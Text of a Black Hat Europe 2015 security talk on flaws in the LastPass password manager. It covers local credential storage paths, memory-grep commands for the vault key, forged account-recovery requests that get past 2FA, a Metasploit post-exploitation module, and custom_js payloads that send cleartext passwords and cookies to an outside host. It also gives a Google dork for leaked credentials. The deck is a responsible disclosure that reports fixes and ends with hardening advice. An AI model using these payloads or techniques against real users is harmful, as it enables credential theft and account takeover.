Even the Lastpass will be gone, deal with it!

Martin Vigo
@martin_vigo

Alberto Garcia Illera
@algillera

black hat
EUROPE 2015
About us

Martin Vigo
Product Security Engineer
Salesforce.com

@martin_vigo
martinvigo.com
About us

- Alberto García Illera (@algillera)
- 0-day Research - Salesforce.com
What is LastPass?

- Arguably the most popular password manager
- Enterprise edition
  - “More than 10,000 corporate customers ranging in size all the way up to the Fortune 500”
- Not limited to only credentials
  - SSH keys, Credit cards, Personal Documentation, Private notes, etc.
LastPass claims

- Local and secure encryption
- Secure encryption keys
- Secure storage
- Creds wiped from memory
- LastPass has no access to your data
Verifying claims with siesta.py

- Beautifies every JS file
- Injects a payload into every function
  - `console.log([file] [function] [params])`
- Get the function trace
Local and Secure Encryption

- AES-256
  - CBC and **ECB**
  - Custom implementation

- PBKDF2
  - **500/5000** rounds (default)
  - Unauthenticated query
Secure encryption keys

PBKDF2-SHA256(Username, Master Password, Iterations, 32)
Secure storage

- Storage depends on the plugin
  - Browser plugin
    - SQLite and text files
    - Unencrypted
    - No root needed
  - Binary version
    - Uses platform specific secure storage
Creds wiped from memory

- Vault decryption key resides always in memory
  - Firefox: `strings -n 64 firefox.DMP | grep -x .\{64,64\} | egrep [0-9a-f]{64}`
  - Chrome: “\x40\x00\x00\x00[?]{32}\x61\x87”

- Entire vault is decrypted once and kept in memory
  - No need to have both in memory!
LastPass has no access to your data
Stealing the Master Password
- Creds stored locally
  - Firefox: prefs.js
  - Rest of the browsers: SQLite

- ECB or CBC
  - u7W1PsEYsWrtAS1Ca7I0OH==
  - !waXcJg8b7wl8XYZnV245A==|4d0Hiq+spx50ps02tEMtkQ==
## Storage

<table>
<thead>
<tr>
<th></th>
<th>Chrome</th>
<th>Firefox</th>
<th>Safari</th>
<th>Opera</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Windows</strong></td>
<td><code>{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpiamkedhajhflcegeploahd_0</code></td>
<td><code>{user_profile['AppData']}/Mozilla/Firefox/Profiles</code></td>
<td><code>{user_profile['LocalAppData']}/Apple Computer/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0</code></td>
<td><code>{user_profile['AppData']}/Opera Software/Opera Stable/databases/chrome-extension_hnjalnkldgigidjpgphhmacmimbd1afdo_0</code></td>
</tr>
<tr>
<td><strong>Mac</strong></td>
<td><code>{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpiamkedhajhflcegeploahd_0</code></td>
<td><code>{user_profile['LocalAppData']}/Firefox/Profiles</code></td>
<td><code>{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0</code></td>
<td><code>{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidjpgphhmacmimbd1afdo_0</code></td>
</tr>
<tr>
<td><strong>Unix</strong></td>
<td><code>{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpiamkedhajhflcegeploahd_0</code></td>
<td><code>{user_profile['LocalAppData']}/.mozilla/firefox</code></td>
<td></td>
<td><code>{user_profile['LocalAppData']}/.opera/widgets/wuid*/pstorage</code></td>
</tr>
</tbody>
</table>

IE uses Protected Storage
- **LastPassSavedLogins2** contains the encrypted credentials
- **No root needed**
- `extensions.lastpass.loginusers`: usernames
- `extensions.lastpass.loginpws`: encrypted passwords
- No root needed
● Password is encrypted with AES-256-CBC
  ○ IV: Random
  ○ KEY: SHA256(username)
  ○ Data: !L5b/dOyu4EMdmWCYkASQaw==|cHTFJDy1DQi8dPY0AJL/1B=
Success!!
The end? Not Yet...
What if “Remember Password” was not clicked?
Let’s use cookies

● Problem
  ○ They only let you see what LastPass sees
  ○ Can’t do much with it… or can you?

● Vault decryption key is stored locally
  ○ Encrypted
  ○ LastPass has the decryption key
Cookie auth flow

POST /login_check.php(PHPSESSID)

pwdeckey

decryptionKey = SHA256(pwdeckey)

encryptedVaultKey = getEncryptedVaultKeyFromDB()

vaultKey = AES(decryptionKey, encryptedVaultKey)
A SMART COOKIE
YOU ARE
What About 2-Factor Authentication?
• Supports multiple methods
  ○ Google Auth, Yubikey, Toopher, etc.
UUID is the “trust token”
How is it generated?

- At installation time
- 32 chars
- 0-9 A-Z a-z !@#$%^&*()_
How/Where is it stored?

- In plaintext

- Firefox
  - In the file “lp.suid”

- Rest of Browsers
  - LocalStorage SQLite DB
What’s the problem?

- LocalStorage and Ip.suid are not encrypted
- Same token for all browser users
- Fixed token till plugin is reinstalled
  - Untrusting the browser has no real effect
  - Same token when new QR Code is generated
- Token fixation
  - Attacker can set the token on the client for later
- Proactive token stealing
  - Steal token today, use it in the future if 2FA is activated
What if there is no valid session cookie?
Abusing “Account Recovery”
How is account recovery possible if LastPass does not know my credentials and does not have my encryption key?

As easy as 1, 2, 3
Account Recovery using Locally Saved One Time Password

Enter your LastPass email in the below box.
Click ‘Send Email’ to have LastPass.com send you an email containing further instructions.
Recovering the account

2.- Get a unique link

LastPass Account Recovery Request

Hi,

You recently notified us that you forgot your LastPass Master Password and want to use LastPass Account Recovery to regain access to your account. To do so, click on the below link:

Activate LastPass Account Recovery

The above link will stop working in 2 hours.

If the above link does not work, carefully copy the below URL to your browser:

https://lastpass.com/s/?s=04350d326a67

If the link does not work, be sure to try the same link in EVERY browser that you've logged into LastPass with. A separate recovery OTP is stored for each browser.

Please note that LastPass has no access to your account and can't reset your password. You must use your hint or Account Recovery to regain access to your account.
Recovering the account

3.- Press the button 

Press To Recover Account
● Full, unrestricted access to the vault

● We can set a new master password
  ○ But do not have to!

● No 2FA prompt
Account recovery flow

Email

LastPass Account Recovery Request

302 Location: /recover.php?
&time=1412381291&timehash=340908c353c099c9FAKE6b387002c5a4881ebdf1
&username=test%40test.com&usernamehash=fc7be7e5f6cbec9FAKE2995bd3331c097

Recover button

POST /otp.php
&hash=ccb2501724FAKE2b575a214e1052d0fa27b0726b6HASHdb2e1da3952e
randkey=!NgiylyxQHDFAKEZqxjxtg==|IdnHywgLmuLHKjVGk7bSOcLO2ywWEzE0ue4LCFVGueEQHedRetriU4o4qcUNXTWw1VFAKEJm3e4zUrO0k=
Can we generate the URL?

302 Location: /recover.php?
&time=1412381291&timehash=340908c353c099c9FAKE6b387002c5a4881ebdf1
&username=test%40test.com&usernamehash=fc7be7e5f6cbc9FAKE2995bd3331c097

- **time**: timestamp when the recovery was initiated (the link “expires” in 2 hours)

- **timehash**: salted hash of the timestamp

- **username**: the email address

- **usernamehash**: salted hash of the username
- We need to create a valid timestamp
- We need to be able to generate the hashes
- We need the salt
Let’s try...

- Start my own account recovery and reuse hashes in the victim’s URL
  - Bingo!
    - Same salt is used for all users
    - Link does not truly expire, just the timestamp is validated against the hash
    - No need to start account recovery, you just need a valid URL
The salt is the secret

- We still need to change the username parameter to the victim’s one
- For that we need the global salt
- Salts are not meant to be secret, only random and unique
Can I forge the POST request then?

POST /otp.php
&hash=ccb25017c4FAKE2b575a21441055d0fa27b0726b6HASH

- **hash**: A derived “disabled OTP”
  - 2 types of OTPs in LastPass
    - True OTPs
    - Disabled OTP
      - Let’s call it dOTP
- Used to recover the vault
  - Which ultimately means authentication

- It’s not the vault encryption key

- It’s set by default
How/Where is it stored?

- In plaintext
- Firefox
  - In the file {SHA256(username)}_ff.sotp
- Rest of Browsers
  - SQLite
How is the request forged?

```html
<form id="lpwebsiteeventform" name="lpwebsiteeventform" onsubmit="return false;" autocomplete="off" action="accts.php">
  <input type="hidden" name="eventtype" id="eventtype" value="recover">
  <input type="hidden" name="eventdata1" id="eventdata1" value="b\[REDACTED].com">
  <input type="hidden" name="eventdata2" id="eventdata2" value="\[REDACTED]4bfe">
  <input type="hidden" name="eventdata3" id="eventdata3" value="995">
  <input type="hidden" name="eventdata4" id="eventdata4" value="">
  <input type="hidden" name="eventdata5" id="eventdata5" value="">
  <input type="hidden" name="eventdata6" id="eventdata6" value="">
  <input type="submit" name="submitbtn" value="">
</form>

```
From dOTP to vault

Local-storage

getdOTP(username)

dOTP

token=SHA256(SHA256(username+dOTP₂)+dOTP₂)

/otp.php(username, token)

Set-Cookie: PHPSESSID randkey

GET /accts3.php

encrypted vault
What is randkey?

- It’s not the vault encryption key
- It’s the vault encryption key *encrypted*

How do we decrypt the vault key?

○ Encrypted with AES-256-CBC
  - **IV**: Random
  - **Key**: SHA256(dOTP)
  - **Data**: !L5b/dOyu4EMdmWCYkASQaw==|cHTFJDy1DQi8dPY0JL/1B=
What is a dOTP again?

- A master password on steroids
  - You can use it to authenticate
  - You can use it to obtain the vault key encrypted
  - You can use it to decrypt the vault key
  - It bypasses IP restrictions
  - It bypasses 2FA
  - It’s locally stored by default
- Stored locally by default
  - iterations=x;BASE64(encrypted vault)
- Firefox
  - In the file {SHA256(username)}_lps.act.sxml
- Rest of the browsers
  - SQLite
WiFi Password: P73wefim458fjwe30234jfma
Door Alarm: 1234
Conclusions

● We know how to get the credentials and derive the vault key

● We know how to use dOTPs to obtain and decrypt the vault key

● We know where the encrypted vault is, we understand the format and we know how to decrypt it
Automating everything with a post-exploitation metasploit module
Metasploit module

- Steals and decrypts credentials
- Steals the 2FA token
- Steals/Derives the encryption key
- Decrypts the vault
- Prints all vault passwords
- Supports
  - Windows, Mac, Unix
  - Chrome, Firefox, Safari and Opera
  - Meterpreter and shell
  - Multiuser

DEMO GODS

PLEASE LET THIS DEMO WORK

DEMO
“LastPass account email addresses, password reminders, server per user salts, and authentication hashes were compromised”
Let’s get paranoid!
What does LastPass see?

- A 1-round PBKDF2-SHA256 of the vault key (auth hash)
  No PBKDF2 protection

- The vault key encrypted with several derived keys:
  - SHA256(username + dOTP)
  - SHA256(SHA256(username + OTP)+OTP)
    - OTP == random 16 bytes
  No real 256-bit protection

- The “encrypted” vault
The “encrypted” vault

LPAV745ATVR0ENCUR3AeAwNX/XUL+0/F4gm8x8mHz58iQdf7Wybt+tntf0+V9M=CBCU1SPMT700000110000NMAC7ACCTX
4969079706, `GÔN( "èëÉëfÝëô
.µu.µu, Ŷ')t687474703a2f2f61616161616161616161611PB–€taqôô₂→m₆RôtôB₁₆Dûn²₅Mûzł⁾μ>ôë°qÄå fl?œm½@000
144401126200
496907970600000
14430629070
1432513671
143251246300ACCT
4969138336!

E,ÄdT/tï'fjôtÜÖficë°ek,!!jïn$ŒÍqùïn°fàï>Gé'≤z Σê
±Ý-X6874747073a2f2f6c6f6f6796e2e6c697652e636f6d2f6c6f6796e2e7372663f77613d777369676e696031e30267270
736e763d31322663743d313433323532353035332672665723d362e312e363139352e302677703d2677265706c793d68747474
07333a25326625326677777772e6d736e2e636f6d253266666e2d7573253266666e2d65706167652532653665377526525326650
617377076f7274253266376727525323364687474025323536125323532662532353266777772e6d736e2e636f6d253235326625
2353366f63696425323533646d61696c7369676e6f757425323532663756c74775265253235336465732d7573253235326670
6672253235336431266c633d31303333326669643d313138342666d6b743d656e2d75732670636578703d547275650
AõflÀ°OK{'!\Z\Øø}ÆÜ àUÀAê
A×o"!

Â/µ"Å!+@000
144599979200
4969138336–var link=lpcurrpage.document.getElementById("i1668");
if(link&&typeof(g_lpclicked)=="undefined"){if(lpcurrpage.document.createEventXObject){var evt =
lpcurrpage.document.createEventXObject(link,fireEvent("onclick",evt),);}else{var evt2 =
lpcurrpage.document.createEvent("MouseEvents");evt2.initMouseEvent("click", true, true,
null);lpcurrpage.document.defaultView, 1, 0, 0, 0, false, false, false, false, 0,
null);link.dispatchEvent(evt2);}}
if(lploc==3){var
pholders="i!Div_PWD_UsernameExample","i!Div_PWD_PasswordExample","i0116_hint","i0118_hint"; for(var
i=0;i<pholders.length;i++)
{lpcurrpage.document.getElementById(pholders[i]).style.display="none";}
}
The “encrypted” vault

- Urls/Icons/Metadata is not encrypted
  - No privacy
  - Reset password urls in LastPass hands

- Credentials often encrypted with ECB
  -Leaks some information about password length
  -Leaks which passwords are identical
  -Leaks info about similar passwords
What is `custom_js` for?

- LastPass can’t always find where to inject the credentials in a login page
- LastPass adds JS payloads to your encrypted vault accounts to deal with this issue
- `custom_js` contains those payloads
What are we really saying?

LastPass or any attacker compromising their servers can add cleartext Javascript to the encrypted accounts in your vault which will run in the domain’s context.
What is *custom_js* for an attacker?

- JS payloads are not encrypted
- The plugin does no validation
- Victim does not notice anything strange
- The JS payload executes on every page load, not just the login page
- New accounts can be added to the encrypted vault as well
- LastPass conveniently declares 2 variables in the domain context
  - `lpcurruser`: The cleartext username
  - `lpcurrrpass`: The cleartext password
Stealing creds with custom js
Yo! I need access to Trump’s email

Sorry, I can’t decrypt any vault

I know you can see if he has a gmail account!

Yes, but I can’t decrypt any passwords

Let’s misuse custom_js. Append this payload:
```
var req=new XMLHttpRequest();req.open("GET","https://www.nsa.gov/collectcreds?u="+lpcurruser+"&p="+lpcurrpass,
false);req.send(null);request.onreadystatechange=null;
```

I am not comfortable doing that...

Like you have a choice… I am NSA!

We checked and he did not store his gmail creds

Just inject a new account to the vault and include this other payload!
```
var req=new XMLHttpRequest();req.open("GET","https://www.nsa.gov/collectsessionids?cookies="+document.cookie,
false);req.send(null);request.onreadystatechange=null;
```

mmm…. shit!
Do we have permission to take the hats off now?

I'M NOT SAYING IT WAS ALIENS
BUT IT WAS ALIENS
Attacks From The Outside

blackhat EUROPE 2015
From the outside
Remember Firefox's pref.js?
Google Dorks

```
extensions.lastpass.loginpws
```

```
YOU GET A PASSWORD
EVERYONE GETS A PASSWORD
```

“extensions.lastpass.loginpws”
Sharing your encrypted LastPass credentials with the info you need to decrypt them is probably not a good idea...
Hardening LastPass
We found a number of bugs, bad practices and design issues and used them to obtain the vault key and decrypt all passwords in different scenarios.

There is no bug-free software and any future research on other password managers would likely have similar results.

LastPass has responded and fixed most of the issues in less than 72 hours.
Fixed issues

- Warning when attempting to store the password
- Recover URL can’t be forged anymore
- Recover process needs to be initiated now
- They rolled out account recovery over SMS
- Firefox does no longer store creds in prefs.js
- All users affected by google dorks were alerted and most links removed from search engines
- More alerts regarding sensitive actions
- Several minor bugs were fixed
Recommendations for you

- Download the binary version of the plugin
- Do not store your master password
- Activate SMS “Account recovery”
- Audit your vault for malicious JS
- Do not use “Password reminder”
- Activate 2FA
- Prompt for master password to reveal passwords
- Add country restriction
- Update/Randomize PBKDF2 iterations
- Disallow TOR logins
Recommendations for LastPass

- Encrypt the entire vault and in one chunk
- Don’t use ECB
- Use authenticated encryption
- Get rid of “custom_js”
- Use PBKDF2 between client and LastPass also
- Use cert pinning
- Embrace open source
- Adopt a **retroactive cash rewarded** bounty program

*If you know what I mean*
Alberto Garcia
@algillera

Martin Vigo
@martin_vigo
martinvigo.com

Don’t forget to provide feedback please!